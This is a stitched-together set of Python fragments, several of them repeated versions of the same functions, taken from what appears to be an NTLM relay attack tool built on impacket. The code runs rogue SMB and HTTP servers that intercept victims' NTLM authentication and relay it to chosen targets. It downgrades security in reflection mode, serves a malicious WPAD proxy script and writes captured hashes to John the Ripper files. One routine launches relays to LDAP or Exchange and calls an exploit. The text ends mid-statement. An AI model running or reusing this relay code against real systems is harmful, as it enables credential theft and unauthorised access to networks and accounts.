def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.disableMulti: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget(multiRelay=False) if self.target is None: LOG.info( 'SMBD-%s: Connection from %s controlled, but there are no more targets left!' % (connId, connData['ClientIP'])) return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) ], None, STATUS_BAD_NETWORK_NAME LOG.info( "SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += ( ~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData[ 'EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) else: if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
def __init__(self, request, client_address, server): self.server = server self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor( singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget() if self.target is None: LOG.info( "WCF: Received connection from %s, but there are no more targets left!" % client_address[0]) return LOG.info( "WCF: Received connection from %s, attacking target %s://%s" % (client_address[0], self.target.scheme, self.target.netloc)) socketserver.BaseRequestHandler.__init__(self, request, client_address, server)
def __init__(self, request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.relayToHost = False self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \ '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \ 'return "PROXY %s:80; DIRECT";} ' if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor( singleTarget='SMB://%s:445/' % client_address[0]) try: http.server.SimpleHTTPRequestHandler.__init__( self, request, client_address, server) except Exception as e: LOG.debug("Exception:", exc_info=True) LOG.error(str(e))
def __init__(self, request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ' if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor( singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget( self.server.config.randomtargets) LOG.info( "HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0], self.target.scheme, self.target.netloc)) try: SimpleHTTPServer.SimpleHTTPRequestHandler.__init__( self, request, client_address, server) except Exception, e: LOG.error(str(e)) LOG.debug(traceback.format_exc())
def startServers(targetURL, interface, hashOutputFile=None, serverIP="127.0.0.1", serverPort=8000): PoppedDB = Manager().dict() # A dict of PoppedUsers PoppedDB_Lock = Lock() # A lock for opening the dict relayServers = (SMBRelayServer, HTTPRelayServer) serverThreads = [] C_Attack = {"HTTPS": ExchangePlugin} for server in relayServers: c = NTLMRelayxConfig() c.setProtocolClients({"HTTPS": HTTPSRelayClient}) c.setTargets(TargetsProcessor(singleTarget=str(targetURL + "/"))) c.setOutputFile(hashOutputFile) c.setMode('RELAY') c.setAttacks(C_Attack) c.setInterfaceIp(interface) c.PoppedDB = PoppedDB # pass the poppedDB to the relay servers c.PoppedDB_Lock = PoppedDB_Lock # pass the poppedDB to the relay servers s = server(c) s.start() serverThreads.append(s) logging.info("Relay servers started") # Now start the WebUI on 127.0.0.1:8000 owa = Thread(target=OWAServer.runServer, args=( serverIP, serverPort, PoppedDB, PoppedDB_Lock, )) owa.daemon = True owa.start() try: while owa.isAlive(): pass except KeyboardInterrupt, e: logging.info("Shutting down...") for thread in serverThreads: thread.server.shutdown()
def startServers(passargs): targetSystem = passargs.target_host privuser = passargs.user PoppedDB = Manager().dict() # A dict of PoppedUsers PoppedDB_Lock = Lock() # A lock for opening the dict relayServers = (SMBRelayServer, HTTPRelayServer) serverThreads = [] for server in relayServers: c = NTLMRelayxConfig() c.setProtocolClients(PROTOCOL_CLIENTS) c.setTargets( TargetsProcessor(singleTarget=str("ldap://" + targetSystem), protocolClients=PROTOCOL_CLIENTS)) c.setOutputFile(None) c.setEncoding('ascii') c.setMode('RELAY') c.setAttacks(PROTOCOL_ATTACKS) c.setLootdir('.') c.setInterfaceIp("0.0.0.0") c.setLDAPOptions(True, True, True, privuser) c.PoppedDB = PoppedDB # pass the poppedDB to the relay servers c.PoppedDB_Lock = PoppedDB_Lock # pass the poppedDB to the relay servers s = server(c) s.start() serverThreads.append(s) logging.info("Relay servers started, waiting for connection....") status = exploit(passargs) if status: exp = Thread(target=gethash, args=(passargs, )) exp.daemon = True exp.start() try: while exp.isAlive(): pass except KeyboardInterrupt, e: logging.info("Shutting down...") for thread in serverThreads: thread.server.shutdown()
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) try: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) if self.authUser == '/': LOG.info( 'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % (connId, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) self.target = self.targetprocessor.getTarget( identity=self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info( 'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) LOG.info( 'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters( ) treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) ## Process here the request, does the share exist? UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED resp['ErrorCode'] = errorCode >> 16 resp['_reserved'] = 0o3 resp['ErrorClass'] = errorCode & 0xff if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS') respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode
class SMBRelayServer(Thread): def __init__(self, config): Thread.__init__(self) self.daemon = True self.server = 0 #Config object self.config = config #Current target IP self.target = None #Targets handler self.targetprocessor = self.config.target #Username we auth as gets stored here later self.authUser = None self.proxyTranslator = None # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global', 'server_name', 'server_name') smbConfig.set('global', 'server_os', 'UNIX') smbConfig.set('global', 'server_domain', 'WORKGROUP') smbConfig.set('global', 'log_file', 'smb.log') smbConfig.set('global', 'credentials_file', '') if self.config.smb2support is True: smbConfig.set("global", "SMB2Support", "True") else: smbConfig.set("global", "SMB2Support", "False") if self.config.outputFile is not None: smbConfig.set('global', 'jtr_dump_path', self.config.outputFile) if self.config.SMBServerChallenge is not None: smbConfig.set('global', 'challenge', self.config.SMBServerChallenge) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$', 'comment', '') smbConfig.set('IPC$', 'read only', 'yes') smbConfig.set('IPC$', 'share type', '3') smbConfig.set('IPC$', 'path', '') # Change address_family to IPv6 if this is configured if self.config.ipv6: SMBSERVER.address_family = socket.AF_INET6 # changed to dereference configuration interfaceIp if self.config.listeningPort: smbport = self.config.listeningPort else: smbport = 445 self.server = SMBSERVER((config.interfaceIp, smbport), config_parser=smbConfig) logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) self.server.processConfigFile() self.origSmbComNegotiate = self.server.hookSmbCommand( smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) self.origSmbSessionSetupAndX = self.server.hookSmbCommand( smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) self.origsmbComTreeConnectAndX = self.server.hookSmbCommand( smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) self.origSmbNegotiate = self.server.hookSmb2Command( smb3.SMB2_NEGOTIATE, self.SmbNegotiate) self.origSmbSessionSetup = self.server.hookSmb2Command( smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) self.origsmb2TreeConnect = self.server.hookSmb2Command( smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect) # Let's use the SMBServer Connection dictionary to keep track of our client connections as well #TODO: See if this is the best way to accomplish this # changed to dereference configuration interfaceIp self.server.addConnection('SMBRelay', config.interfaceIp, 445) ### SMBv2 Part ################################################################# def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): connData = smbServer.getConnectionData(connId, checkStatus=False) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED if isSMB1 is True: # Let's first parse the packet to see if the client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) dialects = SMBCommand['Data'].split(b'\x02') if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking raise Exception('Client does not support SMB2, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 respSMBCommand['ServerGuid'] = b(''.join( [random.choice(string.ascii_letters) for _ in range(16)])) respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 respSMBCommand['MaxWriteSize'] = 65536 respSMBCommand['SystemTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['ServerStartTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['SecurityBufferOffset'] = 0x80 blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [ TypesMech[ 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] respSMBCommand['Buffer'] = blob.getData() respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay # Are we ready to relay or should we just do local auth? if 'relayToHost' not in connData: # Just call the original SessionSetup respCommands, respPackets, errorCode = self.origSmbSessionSetup( connId, smbServer, recvPacket) # We remove the Guest flag if 'SessionFlags' in respCommands[0].fields: respCommands[0]['SessionFlags'] = 0x00 return respCommands, respPackets, errorCode # We have confirmed we want to relay to the target host. respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. respToken = SPNEGO_NegTokenResp() respToken['NegState'] = b'\x03' # request-mic respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken = respToken.getData() respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand ], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegState'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1, 0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob securityBlob = respToken2.getData() if self.config.remove_mic: clientResponse, errorCode = self.do_ntlm_auth( client, token, connData['CHALLENGE_MESSAGE']['challenge']) else: clientResponse, errorCode = self.do_ntlm_auth( client, securityBlob, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error( "Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.info( "Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) connData['Authenticated'] = True del (connData['relayToHost']) self.do_attack(client) # Now continue with the server ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegState'] = b'\x00' else: respToken = '' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) if respSMBCommand['SecurityBufferLength'] > 0: respSMBCommand['Buffer'] = respToken.getData() else: respSMBCommand['Buffer'] = '' smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode def smb2TreeConnect(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.origsmb2TreeConnect(connId, smbServer, recvPacket) try: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) if self.authUser == '/': LOG.info( 'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % (connId, connData['ClientIP'])) return self.origsmb2TreeConnect(connId, smbServer, recvPacket) self.target = self.targetprocessor.getTarget( identity=self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info( 'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmb2TreeConnect(connId, smbServer, recvPacket) LOG.info( 'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = recvPacket['Command'] respPacket['SessionID'] = connData['Uid'] respPacket['Reserved'] = recvPacket['Reserved'] respPacket['MessageID'] = recvPacket['MessageID'] respPacket['TreeID'] = recvPacket['TreeID'] respSMBCommand = smb3.SMB2TreeConnect_Response() # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED respPacket['Status'] = errorCode respSMBCommand['Capabilities'] = 0 respSMBCommand['MaximalAccess'] = 0x000f01ff respPacket['Data'] = respSMBCommand # Sign the packet if needed if connData['SignatureEnabled']: smbServer.signSMBv2(respPacket, connData['SigningSessionKey']) smbServer.setConnectionData(connId, connData) return None, [respPacket], errorCode ################################################################################ ### SMBv1 Part ################################################################# def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) ############################################################# def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay # Are we ready to relay or should we just do local auth? if 'relayToHost' not in connData: # Just call the original SessionSetup return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) # We have confirmed we want to relay to the target host. respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] rawNTLM = False if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegState'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = 